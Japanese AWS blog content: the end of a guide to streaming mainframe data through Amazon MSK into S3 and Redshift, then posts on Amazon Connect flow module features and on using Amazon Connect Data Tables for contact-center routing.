バージョンは要件によって変わりますが、今回は特殊要件は想定しないため最新版を選びます。 ブローカーは Standard を選択し、ブローカーサイズは、後続処理として VPC プライベート接続が必要な Amazon Data Firehose を利用するため、VPC プライベート接続が利用可能な m5.large インスタンスを利用します。ブローカーのゾーン数は配置先の VPC と合わせて数を選択します。今回は 2 を利用します。ゾーンあたりのブローカー数は、1つを選択します。要件に応じて一つのゾーン (AZ) に複数のブローカーを配置することも可能です。今回は、クラスターのストレージはデフォルト値を利用します。 続いて、ネットワーク設定を行います。まずは対象として Apply Engine が展開された VPC を選択します。そして「最初のゾーン」として、指定した AZ それぞれに対応するサブネットを選択します。セキュリティグループについては、Apply Engine ホストと EC2 の両方に同一なセキュリティグループを使用するか、Kafka が利用するポートが開放され接続・疎通が可能なセキュリティグループを準備して指定してください。 関連するリソースが MSK にアクセスできるように、必要な権限設定を許可します。今回は以下の設定を使用します。 Apply Engine との接続はユーザー名とパスワードを用いるため、SASL/SCRAM 認証を有効にする。 MSK から Data Firehose へ接続するため、IAM ロールベースの認証を有効にする。 次にモニタリングに関する設定をして、クラスターをデプロイします。クラスターの立ち上げは 数十分程度かかる場合があります。立ち上げが完了してから、接続許可の変更および Apply Engine からデータを連携するために、MSK のトピックを作成し設定します。 MSK でトピックを作成する方法はいくつかありますが、今回は Amazon MSK のDeveloper Guide に従って、クライアントとして利用している EC2 インスタンスから Kafka を操作する方法を採用します。詳細の設定手順は同 Developer Guide の こちら を参考してください。必要な作業ステップ概要は以下となります。ここで作成したトピック情報は、後続の送受信設定で使用します。 MSK クラスターを操作する権限のある IAM ロールを作成する。 上記操作権限を持つロールが付与された EC2 インスタンスを立ち上げる。MSK クラスターと疎通できるように、セキュリティグループなどを設定する。（Apply Engine がホストされた EC2 で代用可能） EC2 にログインして、MSK クラスターで展開された Kafka のバージョンに対応した Kafka パッケージをダウンロードして設定する。 疎通を確認してから、MSK クラスターの BootstrapServer に対して、Apply Engine の出力連携用のトピックを作成する。 最後に、以下図のようにMSK クラスターのネットワーク設定でマルチ VPC 接続を有効にして、クラスターポリシーでも Data Firehose からの接続を許可します。 Apply Engine から MSK への接続 MSK クラスターの設定の後には、実際に Apply Engine から MSK の間でデータ送受信の確認を行います。具体的には、Apply Engine の設定時に利用したデータ変換スクリプトを書き換えて実際の通信を行います。設定変更のポイントは、送信先を指定する TARGET DATASTORE のセクションで、DATASTORE の部分をトピック名（ kafka:///<topic名> ）に指定することです。実際のスクリプト例は以下となります。なお、今回はデータのフォーマット変換は行わず、直接 MSK へ送信します。 DATASTORE kafka:///<topic名> OF DELIMITED COLDEL('\x2C') RECDEL('\x0A') ASCII AS FILE_OUT DESCRIBED BY GROUP TARGET; 次に、MSK 側にて Apply Engine の認証設定を行います。Apply Engine が利用するユーザー名とパスワードを以下図のように Secrets Manager に保管します。暗号化にはカスタムキーによる暗号化を利用します。カスタムキーは AWS Key Management Service (KMS) を用いて作成できます。AWS マネージドキーを利用すると MSK では関連付けできませんのでご注意ください。具体的にはシークレットを作成してから、以下図のように、MSK クラスターのセキュリティ設定で関連付けを行います。なお、シークレットを作成するとき、命名ルールとして、AmazonMSK_のプレフィックスが必須です。 最後に、Apply Engine がホストされたインスタンスで、Apply Engine の設定を変更します。Apply Engine のワーキングディレクトリ上で、データ送信用の設定ファイル ( sqdata_kafka_producer.conf ) を、作成した環境に合わせて以下のように書き換えます。 builtin.features=SASL_SCRAM security.protocol=SASL_SSL sasl.mechanism=SCRAM-SHA-512 sasl.username=<シークレットで保管された username> sasl.password=<シークレットで保管された password> metadata.broker.list=<MSK クラスターの broker URL> その後 Apply Engine でデータ変換スクリプトを以下のコマンドでコンパイルして実行すれば、MSK トピックに対してデータ送信が行われます。 sqdparse <JOB_SCRIPT>.sqd <JOB_SCRIPT>.prc sqdata <JOB_SCRIPT>.prc Data Firehose を通した S3 への接続（シナリオ例1） ここまでの作業により、メインフレームのデータが MSK トピックにニアリアルタイムで送信されるようになりました。後段の構成としてまずは、シナリオ例1を実現するために、MSK で受信されたデータを、Data Firehose を通して S3 データレイクに連携する構成方法をご紹介します。MSK から直接 S3 サービスへデータを連携することもできますが、今回は S3 に格納するデータを柔軟に加工できることを重視して Data Firehose に接続した上で S3 に連携する構成を利用します。Data Firehose を利用することで自動的なデータの圧縮、暗号化、パーティション分割を実現することが可能です。 IAM ロールとポリシーの作成 Data Firehose が MSK からイベントを取得するために、まずは MSK クラスター、トピック、グループへアクセスできる IAM ロールとポリシーを作成します。同時に、送信先である S3 バケットへのアクセス権限を付与します。IAM ロール例は以下となります。 { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "kafka-cluster:Connect", "kafka-cluster:AlterCluster", "kafka-cluster:DescribeCluster" ], "Resource": "arn:aws:kafka:region:012345678901:cluster/cluster-name/*" }, { "Effect": "Allow", "Action": [ "kafka-cluster:*Topic*", "kafka-cluster:WriteData", "kafka-cluster:ReadData" ], "Resource": "arn:aws:kafka:region:012345678901:topic/cluster-name/*" }, { "Effect": "Allow", "Action": [ "kafka-cluster:AlterGroup", "kafka-cluster:DescribeGroup" ], "Resource": "arn:aws:kafka:region:012345678901:group/cluster-name/*" }, { "Effect": "Allow", "Action": [ "s3:PutObject", "s3:GetObject", "s3:ListBucket", "s3:ListBucketMultipartUploads", "s3:GetBucketLocation", "s3:AbortMultipartUpload" ], "Resource": [ "arn:aws:s3:::your-bucket-name", "arn:aws:s3:::your-bucket-name/*" ] } ] } MSK クラスターポリシーの設定 MSK 側のクラスターポリシーでも Data Firehose からのアクセスを許可しておく必要があります。具体的な設定方法は、 Amazon MSK の Firehose 統合 、 Amazon MSK のソース設定を構成する を参照ください。 Data Firehose の作成 次に、データソースを MSK クラスター、送信先を S3 バケットとした Data Firehose の作成を行います。手順は以下の通りです。 Amazon Data Firehose コンソールで「Create delivery stream」を選択 Source として「Amazon MSK」を選択 MSK クラスター、トピック名、開始位置を指定 Destination として「Amazon S3」を選択 S3 バケット名とプレフィックスを設定 作成した IAM ロールを指定 設定の完了後に状態がアクティブになれば、Apply Engine から MSK と Data Firehose を経由して S3 へのデータ送信が可能になります。Apply Engine でデータ送信を実施すれば、送信先の S3 バケットで新オブジェクトが作成されることを確認可能です。 Redshift への直接接続（シナリオ例2） 次に、シナリオ例2を実現するために、MSK で受信されたデータを Amazon Redshift に直接連携 (ストリーミング統合) する構成方法をご紹介します。この場合、Redshift のマテリアライズドビューを使用してニアリアルタイムデータ取り込みを実現します。 IAM ロールとポリシーの作成 まず準備として、Redshift 用の MSK クラスター、トピック、グループにアクセスしてデータを取得する権限を持つ IAM ポリシーが付与された IAM ロールを作成します。IAM ロール例は以下となります。 { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "kafka-cluster:Connect", "kafka-cluster:AlterCluster", "kafka-cluster:DescribeCluster" ], "Resource": "arn:aws:kafka:region:012345678901:cluster/cluster-name/*" }, { "Effect": "Allow", "Action": [ "kafka-cluster:*Topic*", "kafka-cluster:WriteData", "kafka-cluster:ReadData" ], "Resource": "arn:aws:kafka:region:012345678901:topic/cluster-name/*" }, { "Effect": "Allow", "Action": [ "kafka-cluster:AlterGroup", "kafka-cluster:DescribeGroup" ], "Resource": "arn:aws:kafka:region:012345678901:group/cluster-name/*" } ] } Redshift クラスターの作成 次に作成したロールを適応済みの、拡張された VPC ルーティングを有効にした Redshift クラスターを作成して、利用可能な状態にします。Redshift クラスターの作成の詳細については Amazon Redshift 管理ガイド を参照してください。 スキーマとマテリアライズドビューの作成 Redshift が利用可能な状態になってから、送信されたデータの受け皿となるデータベースを作成します。クエリエディターなどで作成したデータベースへアクセスして、データを受け入れる外部スキーマを例えば以下の SQL で作成します。 CREATE EXTERNAL SCHEMA msk_schema FROM MSK IAM_ROLE 'arn:aws:iam::012345678901:role/MSK_access_role' AUTHENTICATION IAM URI 'b-1.<clustername>.123456.c2.kafka.<region>.amazonaws.com:9098,b-2.<clustername>.123z8u.c2.kafka.<region>.amazonaws.com:9098' 次に、受信したデータを集約するマテリアライズドビューを作成します。AUTO REFRESH を有効にすることで、MSK からの新しいデータが自動的に反映されます。ここまでできれば MSK と Redshift の間でデータ連携を行うことが可能です。 CREATE MATERIALIZED VIEW realtime_data_view AUTO REFRESH YES AS SELECT * FROM msk_schema."<topic_name>"; データ変換とビジネス分析用ビューの作成 実際にデータ連携を行うと、作成したビューの中では、kafka_value のカラムに受信したレコードのデータがそのまま保管されていることがわかるかと思います。このままではビジネス分析に必要なデータ参照がやりにくいため、受信したデータを整形処理したマテリアライズドビューを改めて作成します。今回のサンプルデータで売上データを集計するために、以下のような変換を行います。 CREATE MATERIALIZED VIEW sales_data_view DISTKEY(store_id) SORTKEY(product_id) AS SELECT NULLIF(TRIM(SPLIT_PART(kafka_value::VARCHAR, ',', 1)), '')::INT AS store_id, NULLIF(TRIM(SPLIT_PART(kafka_value::VARCHAR, ',', 2)), '')::INT AS product_id, NULLIF(TRIM(SPLIT_PART(kafka_value::VARCHAR, ',', 3)), '')::INT AS amount, NULLIF(TRIM(SPLIT_PART(kafka_value::VARCHAR, ',', 4)), '')::INT AS unit_price, NULLIF(TRIM(SPLIT_PART(kafka_value::VARCHAR, ',', 5)), '')::INT AS total_price, TRIM(SPLIT_PART(kafka_value::VARCHAR, ',', 6)) AS timestamp FROM msk_schema."<topic_name>" WHERE kafka_value IS NOT NULL AND kafka_value::VARCHAR != '' 実際にビューとして確認できるデータ内容は以下の通りです。 ニアリアルタイム分析の実行 その上で、作成したビューを使用して、ニアリアルタイムでの売上分析や異常検出クエリを実行できます。 -- 直近1時間の店舗別売上集計 SELECT store_id, SUM(total_price) as hourly_sales FROM sales_data_view WHERE timestamp >= DATEADD(hour, -1, GETDATE()) #基準日を'2024-04-01 00:00:00'のようにも指定できる GROUP BY store_id ORDER BY hourly_sales DESC; この構成により、メインフレームでの取引発生から数分以内に Redshift での分析結果を取得でき、Amazon Quick Sight などの BI ツールと連携してニアリアルタイムダッシュボードを構築することも可能です。 構成の使い分け ここで、代表的な2種類の構成を紹介しましたが、それぞれに適したユースケースは次のようにります。 Data Firehose を経由した S3 への連携構成 長期保存、機械学習、大容量データ処理が必要な場合 Redshift への直接連携構成 ニアリアルタイム分析、ダッシュボード表示、即座の意思決定支援が必要な場合 用途に応じて両方の連携先を同時に設定することも可能で、包括的なデータ活用基盤を構築できます。MSK と Redshift についてより詳細に知りたい方は、以下のドキュメントを参照してください。 Amazon Managed Streaming for Apache Kafka デベロッパーガイド: Amazon MSK の Amazon Redshift ストリーミングデータインジェスト Amazon Redshift データベース開発者ガイド: マテリアライズドビューへのストリーミング取り込み Amazon Redshift データベース開発者ガイド: Amazon Kinesis Data Streams からストリーミング取り込みを開始する方法 おわりに 本ブログでは、Precisely を用いた AWS Mainframe Modernization Data Replication により、メインフレームデータを AWS クラウドへニアリアルタイムで同期する方法をご紹介しました。この構成により、従来の日次バッチ処理では実現できなかった迅速なデータ活用が可能になり、S3 データレイクでの機械学習活用から Redshift でのニアリアルタイム分析まで、多様なユースケースに対応できます。メインフレームへの影響を最小限に抑えながら、クラウドの柔軟性とスケーラビリティを活用したデータドリブンな意思決定を実現することで、ビジネス価値の向上に貢献することが可能です。より詳細なご相談や具体的な実装支援については、AWS Professional Services までお気軽にお問い合わせください。 参考情報 AWS marketplace – precisely software Precisely 公式ドキュメント 著者について 安藤 亮一 (ANDO Ryoichi) 安藤 亮一は、AWS Japan プロフェショナルサービスチームのデリバリコンサルタントです。データプラットフォームの構築を検討されているお客様の構想策定の支援や、生成 AI のためのデータプラットフォームの構想策定・設計構築の支援などを行っています。データ基盤の構築や利活用でお困りのことがあれば、ぜひご相談ください。 賀 雲剣 (Yunjian He) 賀 雲剣は、AWS Japan プロフェショナルサービスチームのデリバリコンサルタントです。AWS認定試験全取得でゴールデンジャケットを保持しています。 高エネルギー物理学分野で博士（理学）の学位を取得、大規模データの分析で悩んでいた過去の自身のようなお客様に役立ちたいと思ってAWSに入社しました。最近は生成AI利活用のプラットフォーム構築支援プロジェクトに参画し、データに関わる側面でお客様の支援を行っています。 北川 裕介 (KITAGAWA Yusuke) 北川 裕介は、AWS Japan プロフェショナルサービスチームのデリバリコンサルタントです。主にメインフレームの活用や移行に関する活動を支援しています。

AWS の AI を活用したカスタマーエクスペリエンスソリューションである Amazon Connect 、そのコアに、フローとモジュールがあります。フローはカスタマージャーニーを定義し、モジュールは運用を合理化する再利用可能な要素として機能します。 フローとモジュールに関して、これまで以上に強力で柔軟性があり、保守性を高める 3 つの新機能を発表しました。これらの機能強化により、コンタクトセンターアーキテクトが直面するフローとモジュール間のデータのやり取りの管理の一般的な課題に対処し、コンタクトセンターの設計に前例のない柔軟性と明確性をもたらします。 カスタムブロックでモジュールの柔軟性を変革 フローモジュールの最新の機能アップグレードであるカスタムブロックで、コンタクトセンター運用を簡素化、強化しましょう。この強力な機能は、業界標準の JSON スキーマ v4 構文を実装し、入力および出力オブジェクトを正確に制御します。これにより、ブロックレベルでの動的なエクスペリエンスが可能になります。 この機能が変革的である理由は、コンタクトフローアーキテクチャを合理化する方法にあります。チームは指定された出力パスを作成し、カスタムブランチ名を設定できるようになり、従来のデータ受け渡しメカニズムの複雑さを解消できます。この体系的なアプローチにより、開発コストを抑えながら、フローの作成と管理をより直感的に実現できます。 UI コンポーネントを使用してモジュールのカスタム入力および出力パラメータを設定 モジュールのカスタムブランチを設定 バージョニングとエイリアシングでデプロイメントの信頼性を向上 本番環境でのモジュール更新の管理は常に課題でしたが、新しい包括的なバージョニングとエイリアシング機能により、これが大きく変わります。変更されないモジュールの固定バージョンを作成できるため、デプロイメント時の一貫性を保ちながら、安全にテストを行い、継続的な改善が可能になります。 エイリアス管理システムこそが特に素晴らしい部分です。エイリアスを新しいバージョンを指すように更新すると、その変更はコンタクトセンター実装全体でそのエイリアスを参照しているすべての場所に自動的に適用されます。つまり、単一のエイリアス参照を変更するだけで、予約ロジック、カスタマーサービスワークフロー、またはその他のビジネスプロセスのすべての実装を更新できます。これはデプロイメントプロセスに非常に大きな安心感をもたらします。 新しいバージョンを公開 バージョンタブですべてのバージョンを表示し、以前のバージョンを選択して読み取り専用モードで設定を表示 エイリアスを作成し、エイリアスを特定のバージョンに関連付け ツールとしてモジュールを活用し、従来のフローを超えた拡張を実現 3 つ目のエキサイティングな機能は、フローモジュールが独立した実行単位として様々なシステムによってフロー外で呼び出せるようになったことです。これにより、AI エージェントがカスタマーサービスのやり取り中に支払いワークフロー、自動化されたタスク、その他のビジネスロジックを実行するためのツールとしてモジュールを使用でき、確立された自動化ツールでの新しいユースケースが開かれます。 このアプローチにより、ビジネスロジックをモジュールとして一度定義すれば、複数のチャネルとコンテキストで実行できます。音声通話、チャットのやり取り、自動化されたプロセスのいずれを処理している場合でも、信頼性の高い同じモジュールを呼び出すことができ、開発オーバーヘッドを削減しながら一貫性を確保できます。モジュールタブで新しいツールモジュールを直接作成するか、「ツールとして保存」オプションを使用して既存のモジュールを変換できます。すべてのブロックがツールモジュールでサポートされているわけではないことに注意してください。 モジュールタブで新しいツールモジュールを作成でき、ブロックライブラリで利用可能なブロックを使用してこれらのモジュールを使用できます。 フローモジュールをツールとして作成 ツールとして保存 実際の例: 旅行業界のユースケース 顧客が常にホテル予約の予約、キャンセル、変更を必要とする旅行会社を運営していると想像してください。様々なコンタクトセンターでこれらのリクエストを別々に管理する代わりに、すべてを標準化する単一の強力な予約モジュールを作成できます。 このモジュールを中心的なコントロールセンターと考えてください。顧客が予約について電話をかけてきたとき、ニューヨークまたはロンドンの誰かと話しているかに関係なく、同じ効率的なプロセスが展開されます。システムは各リクエストタイプの処理方法を正確に把握し、一貫したルールと手順に従います。 真の力は変更が必要なときに現れます。数十の場所で指示を更新する代わりに、単純に 1 つのバージョンを変更してエイリアスを更新するだけです。これは、すべてのドアを自動的に開くことができるマスターキーを変更できるようなものです。すべてのコンタクトセンターが即座に新しいバージョンで動作し、すべての顧客が同じ高品質のサービスを受けることを保証します。 実装の実践 実際の動作は次のとおりです。異なるシナリオを処理するための明確な指示を含む予約モジュールを構築します。顧客は電話をかけると、まずシンプルなメニューを通じてニーズを選択できます。予約リクエストは専用モジュールを通じて流れ、その他のサポートのニーズはエージェントに直接接続されます。システムは顧客の入力を読み取り、適切なチャネルを通じて処理し、毎回一貫した結果を提供します。 この方法は何よりも、管理が簡単です。本番稼働前に別のバージョンで新機能をテストでき、異なるリクエストの処理方法を正確に定義でき、わかりやすいデータ構造を通じてすべての予約情報にアクセスできます。つまり、チームは本当に重要なこと、優れたカスタマーサービスの提供に集中でき、技術仕様による複雑なプロセスに悩まされることはありません。 新機能の使用 これらの例は、Amazon Connect フローとモジュールの実用的な知識を前提としています。これらのサービスで基本的な管理タスクを実行する方法の詳細については、以下を参照してください。 Amazon Connect 管理ガイド Amazon Connect の再利用可能な機能のためのフローモジュール * これらのスクリーンショットはデモンストレーション目的のみであり、エンドツーエンドで完全にテストされていない部分的なフローの例であることにご注意ください。これらの例を出発点として使用し、特定のユースケースに合わせてカスタマイズしてご利用ください。 予約操作モジュールの作成 設定タブで予約操作モジュールの入力、出力、カスタムブランチを定義できます。 入力 出力 ブランチ モジュールの設計 予約操作モジュールは、定義した入力パラメータに基づいて異なる運用ボットにリクエストをルーティングすることで、それぞれのビジネスニーズに適応できます。各予約操作は、「戻る」ブロックを通じてカスタマイズされた出力を返すことができ、異なるシナリオの処理方法を完全に制御できます。このモジュラーアプローチにより、新しい予約タイプの追加、追加サービスの統合、既存のワークフローの変更が必要な場合でも、モジュールのロジックを拡張し、各新しい操作に適切な出力パスを設定するだけで、時間の経過に応じて予約機能を簡単に拡張できます。 シンプルな予約の例 モジュールの入力と出力の操作 モジュール内では、モジュールの名前空間を通じて入力パラメータにアクセスでき、パラメータ値がモジュールの入力スキーマ定義と一致するよう定義できます。「戻る」ブロックを設定する際、呼び出し元のフローへの応答を処理するカスタムブランチを柔軟に選択できます。定義する出力データは、モジュールの出力スキーマで指定した構造に準拠する必要があり、フローとモジュール間で予測可能で信頼性の高いデータのやり取りを提供します。 入力と出力管理へのこの構造化されたアプローチにより、どのデータが利用可能で、コンタクトセンターソリューションの異なる部分間で受け渡される際にどのようにフォーマットされるかを正確に把握して、自信を持ってモジュールを構築できます。 入力 出力 モジュールの統合による予約フローの構築 予約フローは、顧客がサポートを必要とするとき、コンタクトセンターと自然にやり取りできる方法を示します。顧客が電話をかけてきたとき、新しい予約の作成、既存の予約の変更、旅行計画のキャンセルなど、必要なサポートの種類を選択するよう案内するプロンプトが聞こえます。4 番目のオプションは、人間の支援を必要とするより複雑な問い合わせ向けで、顧客をエージェントに直接接続します。 このアプローチが強力である理由は、フローが自動化されたサポートと人間のサポートの間をいかにシームレスに移行するかです。顧客が予約関連のオプションのいずれかを選択すると、フローは初期のやり取り中に収集された情報を使用して、予約操作モジュールを自動的に呼び出します。これにより、メインフローが全体的なカスタマーエクスペリエンスを調整しながら、モジュールが専門的な予約操作を処理できます。 フローは、モジュールで定義したブランチを通じ、異なる目的をインテリジェントに管理します。この例では、成功した予約操作は通話を自動的に終了しますが、複雑な変更やエラー条件など追加の支援を必要とするシナリオでは、以前のやり取りの完全なコンテキストを持つ人間のエージェントと接続できるキューに顧客をスムーズに移行します。 この設計により、顧客は可能な場合は効率的な自動化されたサービスを受け、必要に応じてパーソナライズされた人間のサポートのオプションも維持し、各顧客の特定の状況に適応するシームレスな体験を作成します。 モジュールの統合によるフロー シームレスな統合のためのモジュール入力の設定 モジュール呼び出しブロックを設定する際、予約操作モジュールがコンタクトフローとどのように統合されるかを完全に制御できます。正確な制御のために特定のバージョンでモジュールを参照するか、モジュールの進化に適応する柔軟なデプロイメント管理のためにエイリアスを使用するかを選択できます。設定プロセスにより、特定のユースケースでアクティブにするカスタムブランチを定義し、モジュールに渡される正確な入力パラメータを指定できます。 この構造化されたアプローチにより、顧客が期待する整合性と信頼性を維持しながら、コンポーネント間でデータがシームレスに流れるよう設計でします。入力データタイプは自動的にモジュールのスキーマ定義と一致し、統合がすべてのコンタクトセンター運用で一貫した動作を実現できます。 JSON パスを使用したモジュール出力へのアクセス モジュール属性の JSON パスを使用して、モジュールの出力データに直接アクセスできます。パス $.Modules.ResultData は、モジュールの出力スキーマで定義されたのと同じデータ構造に従います。この例では、 $.Modules.ResultData は、モジュール出力で定義された 2 つのプロパティ bookingId と confirmation を含む JSON オブジェクトです。 テストと検証 実装のテストは、コンタクトフローに電話番号を割り当てて、プロンプトに従って電話をかけるのと同じくらい簡単です。顧客が異なる予約操作のトーン信号を入力すると、対応する予約操作モジュールが呼び出され、予約 ID のプロンプトに続いて確認メッセージを受け取ります。これは、カスタム定義された入力、出力、ブランチのシームレスな統合によるものです。 予約操作で機能する同じフレームワークは、SMS 送信、残高確認、パスワードリセット、およびコンタクトセンター運用全体で標準化して再利用する必要があるその他のビジネスプロセスを含む、他の様々なユースケースに適用できます。 今日からコンタクトセンター運用を変革しましょう Amazon Connect フローモジュールへのこれら 3 つの強力な機能強化は、単なる新機能以上のものを表しています。より保守しやすく、スケーラブルで、インテリジェントなコンタクトセンター運用への根本的な変化です。カスタムブロックはフローとモジュール間のデータのやりとりの複雑さを排除し、バージョニングとエイリアシングはコンタクトセンターのアーキテクチャにエンタープライズグレードの信頼性のあるデプロイメントをもたらします。モジュールをツールとして使用する機能は、AI 駆動のカスタマーサービス自動化への全く新しい可能性を開きます。 ここまで見てきた旅行業界の例は、これらの機能の 1 つの実装例を示していますが、可能性はすべての業界とユースケースに及びます。金融取引、医療問い合わせ、小売サポート、またはその他の顧客とのやり取りシナリオを管理している場合でも、これらの機能強化は、ビジネスニーズとともに進化するコンタクトセンターソリューションを構築するための基盤を提供します。 これらの機能強化を活用して Amazon Connect 実装を変革する事例を見られることを楽しみにしています。改善されたモジュールの柔軟性、デプロイメントの信頼性、拡張された自動化機能の組み合わせにより、これまで不可能だった機会が生まれます。今すぐこれらの新機能をお試しください。コンタクトセンター運用を簡素化しながらカスタマーエクスペリエンスを向上させる方法を発見してください。 始める準備はできましたか？詳細な実装ガイドとベストプラクティスについては Amazon Connect のドキュメント にアクセスし、次世代のカスタマーエクスペリエンスの構築を開始しましょう。 翻訳はテクニカルアカウントマネージャー高橋が担当しました。原文は こちら です。

はじめに コンタクトセンターの運用チームがよく直面する課題として、従来のアプローチでは日常的な変更を行う際に開発者の支援とコード変更が必要になることによる遅延があげられます。Amazon Connect Data Tables は、管理者がノーコードインターフェースを通じて運用データを管理できるようにすることで、この課題に対処し、一般的なタスクの俊敏性を向上させ、実装時間を短縮します。 このブログ記事では、 Amazon Connect Data Tables を活用してコンタクトセンター運用を効率化する方法を解説します。実際のユースケースをテーマに、機能の実装に関するステップバイステップのガイドを提供し、運用効率と顧客満足度を向上させるためにデータテーブルを使う利点について説明します。 ソリューション概要 Amazon Connect Data Tables により、コンタクトセンターチームは、コードを書くことなく、直接コンタクトフロー内で運用データを作成、管理、参照できます。管理者は、休日スケジュール、緊急ルーティングフラグ、エージェント内線マッピング、場所固有のプロンプトなどの構造化された情報をカスタマイズ可能なテーブルに保存できます。コンタクトフローからこのデータにリアルタイムでアクセスすることで、動的なルーティング決定とパーソナライズされた顧客体験を推進します。 この機能により、日常的に発生する運用変更において、従来まで開発者に依存していた業務を解消できます。ユーザーは Amazon Connect UI で直接データテーブルを管理し、API を介してプログラム的に管理できるため、手動更新と自動化されたワークフローの両方に柔軟性を提供します。チームは、エージェント内線マッピング、緊急フラグ、機能フラグの切り替え、またはルーティングパラメータを即座に変更でき、設定変更にかかる時間を数日から数分に短縮できます。 ウォークスルー データテーブルの利点を説明するために、いくつかの実際のユースケースを見てみましょう。 ユースケース 1: 直通電話番号内線システム 資産管理会社では、富裕層の顧客を各担当ファイナンシャルアドバイザーに効率的に誘導することが重要です。以前は、企業は外部データソースと Lambda 関数とのカスタムコード統合を構築して、顧客にそのようなパーソナライズされたサービスを提供する必要がありました。データテーブルを使用すると、企業は、顧客がコールフロー中にアドバイザーの内線番号を入力するだけのノーコードインターフェースを備えた直通電話番号内線システムを実装できます。システムは以下を行います： アドバイザー電話番号内線マッピングを保存 アドバイザーの割り当てが変更されてもコード変更なしで即座にルーティング可能 ユースケース 2: 季節性のサイト閉鎖フラグ 小売企業は、冬季にサイト閉鎖フラグを更新し、プレミアム顧客の通話を処理するためには専門エージェントを割り当てる必要がありました。従来、これには IT チームへの変更依頼が必要で、遅延が発生していました。Amazon Connect Data Tables により、コンタクトセンターの管理者は、ノーコードインターフェースを通じてこれらの変更を独立して管理できるようになりました。システムは以下を行います： 冬季が始まったときにサイト閉鎖フラグを自動的に更新 プレミアム顧客の通話を処理するために専門エージェントをマッピング 反映時間を数日から数分に短縮 ユースケース 3: 季節性のワクチン接種キャンペーン 医療保険プロバイダーは、コンタクトセンターを通じて季節性のワクチン接種キャンペーンを促進する必要がありました。コンタクトセンターの管理者は、通常のコールフローを中断することなく、秋の期間だけカスタマイズされたワクチン接種リマインダーメッセージを再生したいと考えています。データテーブルを使用して、システムは以下を行います： 季節性のあるプロンプトを保存し、これらのメッセージを自動的にトリガーする日付ベースのルールを設定 管理者が IT のサポートを必要とせずにメッセージの内容とアクティベーション日を更新可能 前提条件 AWS アカウント 既存の Amazon Connect インスタンス データテーブル、キュー、エージェント、コンタクトフローなどを設定するための Amazon Connect 管理者アクセス 実装手順 以下のセクションでは、Amazon Connect Data Tables を使用した電話番号内線による直接エージェントルーティングの実装について説明します。同じソリューションを、上記にリストされた他のすべてのシナリオに拡張できます。 ステップ 1: Amazon Connect Data Tables を有効化 AWS コンソールで Amazon Connect に移動 インスタンスを選択してログイン 「 ユーザー 」の下の「 セキュリティプロファイル 」に移動 更新するセキュリティプロファイルを選択 「 アクセス許可 」セクションで、このセキュリティプロファイルのユーザーに対して「 データテーブル 」アクセスが有効になっていることを確認します。 ステップ 2: 各ユースケース用のデータテーブルを作成 実装を計画している各ユースケースに対してデータテーブルを作成します。以下では、エージェント内線ユースケース用のデータテーブルの作成について説明します。 Amazon Connect 管理 UI の「 ルーティング 」の下の「 データテーブル 」に移動 「 新しいデータテーブルを追加 」を選択して新しいデータテーブルを作成 名前とオプションの説明を入力 タイムゾーンを選択 (例: US/Eastern) ロックレベルを選択 (例: プライマリの値) (ロックレベルは同時レコード更新を制御します – 「プライマリの値」は変更中にプライマリキーフィールドのみをロックします) 「 属性を追加 」を選択して列の詳細を入力 列の名前を入力 (例: Extension、AgentName、AgentARN) 列のデータ型を選択 (例: Text) 必要に応じてプライマリ属性のチェックボックスを選択 検証が必要な場合は最小および最大テキスト長を入力 コレクション検証が必要かどうかを定義 3 つの属性を作成した後、以下に示すような空のテーブル構造が表示されます 「 レコードを追加 」を選択して、エージェントとその内線マッピングでテーブルを入力 Extension(内線番号)、AgentARN、AgentName などのエージェントの詳細を入力 同様に、他のシナリオ (例: 緊急閉鎖フラグ、カスタムプロンプトなど) に必要な新しいテーブル、列、レコードを作成します。閉鎖フラグのサンプルテーブル構造を以下に示します。 ステップ 3: 各ユースケース用のコンタクトフローを作成 シナリオを処理するため、それぞれのコンタクトフローを作成します。 エージェント内線ルーティングコンタクトフロー Amazon Connect コンソールで、「 ルーティング → フロー → フローを作成 」を選択 「 Agent Extension Routing 」という名前の新しいコンタクトフローを作成 「 ログ記録動作の設定 」と「 記録と分析の 動作を設定 」ブロックを追加 内線入力をキャプチャするために「 顧客の入力を保存する 」ブロックを追加。エンドカスタマーが架電し内線をダイヤルするとき、ここでデータ入力がキャプチャされます 「 データテーブル 」ブロックをコンタクトフローに追加 以下のスクリーンショットに従って「 データテーブル 」ブロックでクエリ設定を定義。クエリ設定は、作成したデータテーブルを検索し、必要な情報を取得します 訳注: データテーブルからの読み込み > データテーブルを評価 > 手動で設定 からクエリを設定します 以下のスクリーンショットに従って、エージェント内線ルーティング用の「 作業キューの設定 」ブロックを追加 訳注: エージェント別 > 動的に設定 > データテーブル 非内線ルーティング用の「 作業キューの設定 」ブロックを追加 「 キューへ転送 」ブロックを追加 最後に「 切断 」ブロックを追加 すべてのブロックを適切に接続し、コンタクトフローを「 保存 」および「 公開 」 (コンタクトフローは以下のスクリーンショットのようになります) カスタムメッセージング付き緊急ルーティングコンタクトフロー Amazon Connect コンソールで、「 ルーティング → フロー → フローを作成 」を選択 「 Emergency Routing 」という名前の新しいコンタクトフローを作成 「 ログ記録動作の設定 」と「 記録と分析の動作を設定 」ブロックを追加 ウェルカムメッセージを再生するために「 プロンプトの再生 」ブロックを追加 新しい「 データテーブル 」ブロックをコンタクトフローに追加 以下のスクリーンショットに従って「 データテーブル 」ブロックでクエリ設定を定義 緊急フラグ値が「 true 」かどうかを確認するために「 コンタクト属性を確認する 」ブロックを追加 フラグ値が「 true 」の場合に緊急閉鎖のカスタムプロンプトを再生するために「 プロンプトの再生 」ブロックを追加 非緊急ルーティング用の「 作業キューの設定 」ブロックを追加 「 キューへ転送 」ブロックを追加 最後に「 切断 」ブロックを追加 すべてのブロックを適切に接続し、コンタクトフローを「 保存 」および「 公開 」 (コンタクトフローは以下のスクリーンショットのようになります) ステップ 4: このソリューションを検証する方法 エージェント内線ルーティング検証： 電話番号を取得し、新しく作成したコンタクトフローに電話番号を関連付け 取得した電話番号に電話をかけ、作成したデータテーブルにマッピングされた有効な内線を入力 通話が内線用に設定されたエージェントにルーティングされます カスタムプロンプト付き緊急フラグルーティング検証： 電話番号を取得し、新しく作成したコンタクトフローに電話番号を関連付け 取得した電話番号に電話をかけると、緊急メッセージが再生されます データが変更された際の体験を検証するために、データテーブルのレコードを異なる値で更新してみましょう。 クリーンアップ これらの機能をテストし終わり、リソースをクリーンアップしたい場合： このブログの一部として作成されたサンプルまたはテスト用のデータテーブルを削除 コンタクトフローをアーカイブ 